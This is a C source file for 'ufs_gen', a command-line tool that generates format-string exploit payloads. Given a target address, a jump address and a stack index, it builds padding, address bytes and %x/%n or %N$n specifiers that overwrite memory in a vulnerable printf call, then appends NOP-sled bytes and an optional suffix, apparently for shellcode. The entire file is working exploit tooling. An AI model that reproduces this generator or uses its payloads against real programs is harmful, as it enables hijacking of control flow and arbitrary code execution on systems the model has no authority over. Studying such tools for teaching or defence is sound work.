path: root/main.c

/*
 * Copyright (C) 2014 Olivier Gayot
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.

 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.

 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */

#include <assert.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <stdio.h>
#include <getopt.h>


static unsigned char payload[4096];

/* address to override */
static unsigned long override_addr_g;

/* address to jump to */
static unsigned long jmp_addr_g;

/* index of the element on the stack which is the beginning of the payload */
static unsigned int idx_stack_g;

/* assume that an address is 'address_size_g' bytes long */
static int address_size_g = 4;

/* prepend the payload with a prefix */
static char *prefix_g = NULL;

/* append suffix to the payload */
static char *suffix_g = NULL;

/* how many NOP bytes (0x90) shall we append before suffix */
static int suffix_nops_g = 0;

    __attribute__((noreturn))
static void usage(const char *arg0)
{
    (void)arg0;

    fputs("usage:\n\n", stderr);
    fputs(
            "ufs_gen "
            "[--prefix pfx] [--suffix sfx] [--sfxnops n]\n"
            "        --override addr --with addr --stackidx idx\n", stderr);

    exit(EX_USAGE);
}

/*
 * this function uses getopt to parse the options.
 * it returns 0 on success; otherwise it returns a negative number
 */
static int parse_arguments(int argc, char *argv[])
{
    bool override_set = false;
    bool stackidx_set = false;
    bool with_set = false;

    for (;;) {
        /* declaration of the options which we handle */
        enum {
            OPT_OVERRIDE,
            OPT_WITH,
            OPT_STACKIDX,
            OPT_ADDR_SIZE,
            OPT_PREFIX,
            OPT_SUFFIX,
            OPT_SFX_NOPS,
        };

        static struct option long_options[] = {
            {"override", required_argument, 0, OPT_OVERRIDE},
            {"with",     required_argument, 0, OPT_WITH},
            {"stackidx", required_argument, 0, OPT_STACKIDX},
            {"addrsize", required_argument, 0, OPT_ADDR_SIZE},
            {"prefix",   required_argument, 0, OPT_PREFIX},
            {"suffix",   required_argument, 0, OPT_SUFFIX},
            {"sfxnops",  required_argument, 0, OPT_SFX_NOPS},
        };

        int option_index;
        int c = getopt_long(argc, argv, "", long_options, &option_index);

        if (c == -1) {
            break;
        }

        switch (c) {
            case OPT_OVERRIDE:
                override_addr_g = strtoul(optarg, NULL, 16);
                override_set = true;
                break;
            case OPT_WITH:
                jmp_addr_g = strtoul(optarg, NULL, 16);
                with_set = true;
                break;
            case OPT_STACKIDX:
                idx_stack_g = atoi(optarg);
                stackidx_set = true;
                break;
            case OPT_ADDR_SIZE:
                address_size_g = atoi(optarg);

                if (address_size_g < 1 || address_size_g > 8) {
                    return -1;
                }

                break;
            case OPT_PREFIX:
                prefix_g = optarg;
                break;
            case OPT_SUFFIX:
                suffix_g = optarg;
                break;
            case OPT_SFX_NOPS:
                suffix_nops_g = atoi(optarg);
                break;
            default:
                /*
                 * we must have accessed an option which we do not have
                 * specified in our switch-case
                 */

                assert (false);

                break;
        }
    }

    if (optind < argc) {
        return -1;
    }

    if (!override_set || !stackidx_set || !with_set) {
        return -1;
    }

    return 0;
}

/*
 * this function returns the number of remaining bytes to write in order to
 * have a %n printing the expected value
 */
static int calc_remaining(unsigned int needed, unsigned int *so_far)
{
    int ret;

    assert(needed <= 0xff);

    if (needed >= (*so_far % 0x100)) {
        ret = needed - (*so_far % 0x100);
    } else {
        ret = 0x100 - ((*so_far % 0x100) - needed);
    }

    *so_far += ret;

    return ret;
}

int main(int argc, char *argv[])
{
#define PUT_ADDR(_offset) \
    do { \
        typeof(override_addr_g) override_addr = override_addr_g + _offset * 0x10; \
        \
        for (int sh = 0; sh < address_size_g; ++sh) { \
            for (int shift = 0; shift < address_size_g; ++shift) { \
                payload[i++] = (override_addr >> (shift * 8)) & 0xff; \
                ++written; \
            } \
            ++override_addr; \
        } \
    } while (0);

    unsigned int i = 0;
    unsigned int written = 0;
    unsigned int values_pop = 0;

    if (parse_arguments(argc, argv) < 0) {
        usage(argv[0]);
    }

    if (prefix_g != NULL) {
        int len_pfx = strlen(prefix_g);
        int mod_len_pfx = len_pfx % address_size_g;

        int len_padding = (mod_len_pfx == 0) ? 0 : address_size_g - mod_len_pfx;

        memcpy(payload + i, prefix_g, len_pfx);
        i += len_pfx;

        memcpy(payload + i, "\x90\x90\x90\x90\x90\x90\x90", len_padding);
        i += len_padding;

        /* TODO compute wisely these two values */
        written += len_pfx + len_padding;

        idx_stack_g += ((len_pfx + len_padding) / address_size_g);
    }

    PUT_ADDR(0);

    /* override the address */
    for (int shift = 0; shift < address_size_g; ++shift) {
        int remaining;

        if ((remaining = calc_remaining((jmp_addr_g >> (shift * 8)) & 0xff, &written)) < 8) {
            memcpy(payload + i, "ffffffff", remaining);
            i += remaining;
        } else {
            i += sprintf((char *)payload + i, "%%%dx", remaining);
            ++values_pop;
        }

        if (values_pop == idx_stack_g) {
            /* (very) unlikely */

            i += sprintf((char *)payload + i, "%%n");
            ++values_pop;
        } else {
            i += sprintf((char *)payload + i, "%%%d$n", idx_stack_g);
        }

        ++idx_stack_g;
    }

    fprintf(stderr, "NOP bytes are at offset %d (%#x)\n", i, i);
    for (int nop = 0; nop < suffix_nops_g; ++nop) {
        payload[i++] = '\x90';
    }

    if (suffix_g != NULL) {
        fprintf(stderr, "suffix is at offset %d (%#x)\n", i, i);
        int len_suffix = strlen(suffix_g);

        memcpy(payload + i, suffix_g, len_suffix);
        i += len_suffix;
    }

    /* we write our payload */
    fwrite(payload, 1, i, stdout);

    return 0;

#undef PUT_ADDR
}